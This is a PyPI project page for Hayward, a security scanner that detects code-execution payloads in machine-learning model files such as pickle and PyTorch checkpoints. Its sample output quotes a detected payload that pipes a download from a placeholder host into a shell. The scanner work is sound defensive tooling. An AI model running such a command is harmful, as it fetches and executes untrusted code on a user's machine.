Hayward
Security scanner for machine-learning model files. Know whether a checkpoint will run code on your machine, before you load it.
pip install hayward
hayward scan ./models
CRITICAL MFV-PICKLE-001 checkpoints/model.pt
Pickle file references unsafe callable(s) that grant code/command
execution on load: posix.system('curl http://example.invalid | sh').
1 finding(s): 1 critical
Or try it in your browser. Same scanner, compiled to WebAssembly. Drop a checkpoint on the page and it stays on your machine.
The problem
torch.load, joblib.load and numpy.load(allow_pickle=True) execute code
from the file they read. That is not a bug, it is what pickle does.
The file is named pytorch_model.bin, and the .bin is doing a lot of work
in that sentence. It is a program. Loading it is running it, on your laptop,
with your credentials, as you.
Who it is for
Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.
What makes it different
It stays quiet. A gate that cries wolf gets switched off, so it is built to report real models cleanly and reserve the INFO tier for content it could not verify. Any figures we quote are self-measured and not independently reproducible; Accuracy sets out what it does and does not support, and the harness runs it against your own corpus.
It tells you when it could not look. A file it cannot parse produces an explicit finding, never silence. Attackers hide payloads behind deliberate parse errors, and a clean report should mean the file was read.
It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.
It installs anywhere. One dependency, no model framework, no native extensions, no network. Python 3.10 and up.
It fits a build. Documented exit codes, JSON output, a threshold you set.
What it scans
| Formats | |
|---|---|
| Pickle, and everything that wraps it | PyTorch (zip, legacy and .ptl mobile), joblib, NumPy .npy / .npz, TorchServe .mar, NVIDIA NeMo, skops |
| Tensor containers | SafeTensors, GGUF, TFLite |
| Graph formats | ONNX, TensorFlow SavedModel, Keras (H5 and .keras), PMML |
| Repo config | HuggingFace config.json / tokenizer_config.json (auto_map, trust_remote_code, and Jinja chat_template injection) |
26 extensions in total. Format comes from magic bytes, so a payload
renamed weights.safetensors, or weights.dat, or given no extension at
all, does not walk past on the strength of its name. A directory scan still
finds its candidates by extension first, since sniffing a whole tree means
reading it: coverage states that limit.
Three ways to run it
hayward scan ./models # command line
hayward scan ./models -f html -o report.html # shareable report
hayward-gui # desktop window
from hayward import ModelFileScanner
findings = ModelFileScanner().scan_directory(Path("models"))
What a clean result means
That Hayward read the files and recognised nothing dangerous in them. Not that the model is safe. It is a smoke alarm, not a survey of the building, and coverage is the page where it owns up to the rooms it could not get into.
Documentation
- Usage: CLI reference, exit codes, CI, the GUI, the Python API
- Rules: all 47 rules with severities and CWE mappings
- Coverage: what it does when it cannot read a file, and why that is a finding
- How it works: how it reads pickle without running it, and how unknown callables are judged by their arguments
- GitHub Action: run the scan in CI and upload SARIF to code scanning
- Reproducible builds: the Docker image and the browser-demo build pipeline
- Accuracy: measured results, the caveats, and where it loses
Contributing
The most useful contribution is a file Hayward gets wrong. False alarms count just as much as misses. A scanner nobody trusts is a scanner nobody runs, and then it may as well not exist.
git clone https://github.com/hedgerow-dev/hayward
cd hayward && pip install -e ".[dev]" && pytest
Security
Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an issue. Input that crashes the scanner counts: under a CI gate, a crash is indistinguishable from a scan that never ran.
Licence
A hayward was the parish officer who walked the hedges, checked the gaps and impounded whatever had got through.
Release files for hayward 1.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| hayward-1.1.0.tar.gz | 277.7 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| hayward-1.1.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 427.8 kB
Release files / hayward-1.1.0.tar.gz
| Download URL | hayward-1.1.0.tar.gz |
|---|---|
| Size | 277.7 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
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Yes |
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twine/7.0.0 CPython/3.13.14
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Transparency logRelease files / hayward-1.1.0-py3-none-any.whl
| Download URL | hayward-1.1.0-py3-none-any.whl |
|---|---|
| Size | 150.1 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
f2b443cd5f84f8320327932016d996821483cf306a4a771ab9628427603cc6f8
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d61c0a8e77e7c8031759204ef445871d389a317a3010ecd82df11eb677c1a40b
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| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Provenance
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PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Aug 27, 2026.
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